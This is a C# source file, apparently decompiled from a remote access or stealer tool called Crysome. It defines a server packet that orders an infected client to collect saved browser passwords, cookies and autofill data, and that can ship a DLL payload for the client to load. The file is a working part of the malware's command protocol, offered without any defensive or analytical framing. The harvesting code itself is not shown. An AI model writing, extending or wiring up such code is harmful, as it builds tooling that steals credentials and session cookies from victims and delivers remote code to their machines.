using System.IO;

namespace Crysome.Common.Network.Packets.Server;

public class RequestCredentialsPacket : IPacket
{
	public const byte TypePasswords = 0;

	public const byte TypeCookies = 1;

	public const byte TypeBoth = 2;

	public const byte TypeAutofills = 3;

	public const byte TypeAll = 4;

	public byte RequestType { get; set; }

	public byte[] DllBytes { get; set; }

	public RequestCredentialsPacket()
	{
	}

	public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null)
	{
		RequestType = requestType;
		DllBytes = dllBytes;
	}

	public void Write(BinaryWriter w)
	{
		w.Write(RequestType);
		int num = ((DllBytes != null) ? DllBytes.Length : 0);
		w.Write(num);
		if (num > 0)
		{
			w.Write(DllBytes);
		}
	}

	public void Read(BinaryReader r)
	{
		RequestType = r.ReadByte();
		int num = r.ReadInt32();
		DllBytes = ((num > 0) ? r.ReadBytes(num) : null);
	}
}
